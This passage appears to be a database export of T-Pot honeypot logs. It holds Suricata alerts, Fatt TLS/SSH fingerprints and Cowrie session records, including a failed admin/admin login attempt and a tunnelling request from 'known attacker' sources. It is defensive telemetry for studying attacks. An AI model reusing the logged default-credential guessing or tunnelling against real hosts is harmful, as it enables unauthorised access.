"AAADzAYU+mLNb37G/ZC/7rktC3J/WQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50194, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:22:26.208213Z", "@timestamp": "2021-09-20T11:22:26.208Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......b.o~......-.r.Y...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
28906	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:21:17.78153+03	2021-09-20 14:30:03.437525+03	{"_id": "pgbwAnwBvYTbRNuEWTHQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 26644, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1369, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1718304455386448, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 35632, "timestamp": "2021-09-20T11:21:17.781530Z", "@timestamp": "2021-09-20T11:21:17.781Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28907	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:21:18.237863+03	2021-09-20 14:30:03.438523+03	{"_id": "qgbwAnwBvYTbRNuEWzEL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35098, "dest_port": 443, "timestamp": "2021-09-20T11:21:18.237863", "@timestamp": "2021-09-20T11:21:18.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28908	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:21:17.830048+03	2021-09-20 14:30:03.439524+03	{"_id": "qAbwAnwBvYTbRNuEWzEL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35096, "dest_port": 443, "timestamp": "2021-09-20T11:21:17.830048", "@timestamp": "2021-09-20T11:21:17.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28909	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:21:17.7796+03	2021-09-20 14:30:03.440525+03	{"_id": "pAbwAnwBvYTbRNuEWTHP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 26644, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1718304455386448, "@version": "1", "in_iface": "enp5s0", "src_port": 35632, "dest_port": 53, "timestamp": "2021-09-20T11:21:17.779600Z", "@timestamp": "2021-09-20T11:21:17.779Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28910	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:21:18.18338+03	2021-09-20 14:30:03.441524+03	{"_id": "pwbwAnwBvYTbRNuEWTHR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24293, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1368, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1616938932291416, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 56927, "timestamp": "2021-09-20T11:21:18.183380Z", "@timestamp": "2021-09-20T11:21:18.183Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28911	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:21:18.27981+03	2021-09-20 14:30:03.442524+03	{"_id": "qQbwAnwBvYTbRNuEWzEL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35098, "timestamp": "2021-09-20T11:21:18.279810", "@timestamp": "2021-09-20T11:21:18.279Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28912	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:21:18.182104+03	2021-09-20 14:30:03.443524+03	{"_id": "pQbwAnwBvYTbRNuEWTHP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24293, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1616938932291416, "@version": "1", "in_iface": "enp5s0", "src_port": 56927, "dest_port": 53, "timestamp": "2021-09-20T11:21:18.182104Z", "@timestamp": "2021-09-20T11:21:18.182Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28913	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:21:17.870205+03	2021-09-20 14:30:03.444525+03	{"_id": "qwbwAnwBvYTbRNuEWzEL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35096, "timestamp": "2021-09-20T11:21:17.870205", "@timestamp": "2021-09-20T11:21:17.870Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28914	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:21:24.526657+03	2021-09-20 14:30:03.445527+03	{"_id": "uAbwAnwBvYTbRNuEcjF-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.23.139.118", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 63590, "timestamp": "2021-09-20T11:21:24.526657", "@timestamp": "2021-09-20T11:21:24.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28915	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:21:24.5225+03	2021-09-20 14:30:03.447524+03	{"_id": "vAbwAnwBvYTbRNuEczF1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.23.139.118:63590 (192.168.176.2:22) [session: ceaab9f5b552]", "session": "ceaab9f5b552", "@version": "1", "protocol": "ssh", "src_port": 63590, "dest_port": 22, "timestamp": "2021-09-20T11:21:24.522500Z", "@timestamp": "2021-09-20T11:21:24.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28916	8.23.139.118	109.199.241.180	Cowrie	2021-09-20 14:21:24.935339+03	2021-09-20 14:30:03.448553+03	{"_id": "uwbwAnwBvYTbRNuEczF1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.23.139.118", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.23.139.118", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "ceaab9f5b552", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:21:24.935339Z", "@timestamp": "2021-09-20T11:21:24.935Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28917	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:21:00.363319+03	2021-09-20 14:30:03.449524+03	{"_id": "gAbwAnwBvYTbRNuEEzF3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:59.904864+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 257839479901856, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 62206, "timestamp": "2021-09-20T11:21:00.363319Z", "@timestamp": "2021-09-20T11:21:00.363Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28918	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:22:01.65735+03	2021-09-20 14:30:03.450555+03	{"_id": "TAbxAnwBvYTbRNuEBTLF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:22:01.303289+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 293}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1172343247970489, "payload": "U1NILTIuMC1saWJzc2gtMC42LjMK", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45064, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:22:01.657350Z", "@timestamp": "2021-09-20T11:22:01.657Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh-0.6.3\\n"}}	1	\N	\N	alert	known attacker	\N
28919	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:22:01.660307+03	2021-09-20 14:30:03.451553+03	{"_id": "TgbxAnwBvYTbRNuEBzIA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45064, "timestamp": "2021-09-20T11:22:01.660307", "@timestamp": "2021-09-20T11:22:01.660Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28920	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:22:04.125211+03	2021-09-20 14:30:03.452551+03	{"_id": "VAbxAnwBvYTbRNuEDjLR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 51768, "dest_port": 22, "timestamp": "2021-09-20T11:22:04.125211", "@timestamp": "2021-09-20T11:22:04.125Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28921	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:22:04.422666+03	2021-09-20 14:30:03.453554+03	{"_id": "WgbxAnwBvYTbRNuEDzLI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 69.195.128.18:80 from 0.0.0.0:0", "session": "3c5791bb365c", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:22:04.422666Z", "@timestamp": "2021-09-20T11:22:04.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
